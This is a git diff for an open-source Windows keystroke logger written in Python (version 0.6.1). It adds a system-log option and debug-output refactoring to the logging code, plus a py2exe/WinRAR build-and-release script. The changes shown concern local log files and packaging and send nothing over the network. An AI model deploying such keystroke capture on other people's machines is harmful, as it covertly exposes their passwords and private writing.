diff --git a/keylogger.pyw b/keylogger.pyw index ae0fe56..94f69c5 100644 --- a/keylogger.pyw +++ b/keylogger.pyw @@ -54,7 +54,9 @@ class KeyLogger: parser.add_option("-n", "--nolog", action="append", dest="noLog", help="specify an application by full path name whose input will not be logged. repeat option for multiple applications. [default: %default]") parser.add_option("-o", "--onefile", action="store", dest="oneFile", help="log all output to one file ONEFILE, (inside DIRNAME, as specified with -f option), rather than to multiple files. [default: %default]") - + + parser.add_option("-s", "--systemlog", action="store", dest="systemLog", help="log all output, plus some debug output, to a SYSTEMLOG file (inside DIRNAME, as specified with -f option). [default: %default]") + parser.set_defaults(dirName=r"C:\Temp\logdir", hookKeyboard=True, addLineFeed=False, @@ -64,7 +66,8 @@ class KeyLogger: flushKey='F11', debug=False, noLog=None, - oneFile=None) + oneFile=None, + systemLog=None) (self.options, args) = parser.parse_args() diff --git a/logwriter.py b/logwriter.py index 826dd1e..8624e35 100644 --- a/logwriter.py +++ b/logwriter.py @@ -11,7 +11,6 @@ class LogWriter: self.options = options - #self.rootLogDir = os.path.normpath(options.dirName) self.options.dirName = os.path.normpath(self.options.dirName) try: @@ -23,16 +22,17 @@ class LogWriter: print "OSError:", detail self.writeTarget = "" - #self.systemlog = open(os.path.join(os.path.normpath(self.options.dirName), "systemlog.txt"), 'a') + if self.options.systemLog != None: + self.systemlog = open(os.path.join(os.path.normpath(self.options.dirName), self.options.systemLog), 'a') def WriteToLogFile(self, event): loggable = self.TestForNoLog(event) if not loggable: # if the program is in the no-log list, we return without writing to log. - if self.options.debug: print "not loggable, we are outta here" + if self.options.debug: self.PrintStuff("not loggable, we are outta here\n") return - if self.options.debug: print "loggable, lets log it" + if self.options.debug: self.PrintStuff("loggable, lets log it\n") self.OpenLogFile(event) @@ -64,7 +64,7 @@ class LogWriter: if event.Key == self.options.flushKey: self.log.flush() - # self.systemlog.flush() + if self.options.systemLog != None: self.systemlog.flush() def TestForNoLog(self, event): '''This function returns False if the process name associated with an event @@ -74,8 +74,6 @@ class LogWriter: if self.options.noLog != None: for path in self.options.noLog: if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path - #if self.debug: - # print "we dont log this" return False return True @@ -111,24 +109,21 @@ class LogWriter: #already-opened file. if self.writeTarget != os.path.join(self.options.dirName, subDirName, filename): if self.writeTarget != "": - if self.options.debug: - print "flushing and closing old log" - #self.systemlog.write("flushing and closing old log\n") + if self.options.debug: self.PrintStuff("flushing and closing old log") self.log.flush() self.log.close() self.writeTarget = os.path.join(self.options.dirName, subDirName, filename) - if self.options.debug: - print "writeTarget:",self.writeTarget - #self.systemlog.write("writeTarget: " + self.writeTarget + "\n") - + if self.options.debug: self.PrintStuff("writeTarget:" + self.writeTarget) + self.log = open(self.writeTarget, 'a') def PrintStuff(self, stuff): if not self.options.debug: self.log.write(stuff) - #self.systemlog.write(stuff) else: sys.stdout.write(stuff) + if self.options.systemLog != None: + self.systemlog.write(stuff) def GetProcessNameFromHwnd(self, hwnd): diff --git a/make_all_dist.py b/make_all_dist.py new file mode 100644 index 0000000..a5fcc96 --- /dev/null +++ b/make_all_dist.py @@ -0,0 +1,51 @@ +import version +import os +import sys + +if raw_input("Current version is " + version.version + ". Is that correct? [Y/N] ") in ["y", "Y", "yes", "YES", "Yes"]: + pass +else: + sys.exit() + +#delete old build dir. +print 'rd /S /Q build' +os.system('rd /S /Q build') + +# create the exe +print 'c:\Python24\python setup.py py2exe -b1' +os.system('c:\Python24\python setup.py py2exe -b1') + +#pause to see output +#os.system('pause "done, press key to continue"') +print 'rename "dist" "pykeylogger""' +os.system('rename "dist" "pykeylogger""') + +print 'copy ".\*.txt" ".\pykeylogger""' +os.system('copy ".\*.txt" ".\pykeylogger""') + +#command = '\"\"C:\Progra~1\WinRAR\WinRAR.exe" a -r "pykeylogger' + version.version + '_win32.zip" "pykeylogger\"\"' +#print repr(command) +#os.system(command) +print '""C:\Progra~1\WinRAR\WinRAR.exe" a -r "pykeylogger' + version.version + '_win32.zip" "pykeylogger""' +os.system('""C:\Progra~1\WinRAR\WinRAR.exe" a -r "pykeylogger' + version.version + '_win32.zip" "pykeylogger""') + +print 'mv "./pykeylogger' + version.version + '_win32.zip" "../pykeylogger' + version.version + '_win32.zip"' +os.system('mv "./pykeylogger' + version.version + '_win32.zip" "../pykeylogger' + version.version + '_win32.zip"') + +print 'rd /S /Q pykeylogger' +os.system('rd /S /Q pykeylogger') +print 'rd /S /Q build' +os.system('rd /S /Q build') + +#os.system('pause "done, now lets create the src dist"') +print '""C:\Progra~1\WinRAR\WinRAR.exe" a -r "pykeylogger' + version.version + '_src.zip" "keylogger.pyw" "logwriter.py" "setup.py" "version.py" "make_all_dist.py" "*.txt" "*.bat" "html""' +os.system('""C:\Progra~1\WinRAR\WinRAR.exe" a -r "pykeylogger' + version.version + '_src.zip" "keylogger.pyw" "logwriter.py" "setup.py" "version.py" "make_all_dist.py" "*.txt" "*.bat" "html""') + +print 'mv "./pykeylogger' + version.version + '_src.zip" "../pykeylogger' + version.version + '_src.zip"' +os.system('mv "./pykeylogger' + version.version + '_src.zip" "../pykeylogger' + version.version + '_src.zip"') + +#os.system('pause "now lets create the md5 sums"') +print '""C:\Progra~1\UnixUtils\md5sum.exe" "../pykeylogger' + version.version + '_src.zip" "../pykeylogger' + version.version + '_win32.zip" > "../pykeylogger' + version.version + '_md5sums.txt""' +os.system('""C:\Progra~1\UnixUtils\md5sum.exe" "../pykeylogger' + version.version + '_src.zip" "../pykeylogger' + version.version + '_win32.zip" > "../pykeylogger' + version.version + '_md5sums.txt""') + +os.system('pause "done, press to key to exit""') diff --git a/version.py b/version.py index 5258da4..6b2e3c0 100644 --- a/version.py +++ b/version.py @@ -1,6 +1,6 @@ name = "Python Keylogger" -version = "0.6.0" +version = "0.6.1" description = "Simple Python Keylogger for Windows" url = "http://pykeylogger.sourceforge.net" license = "GPL"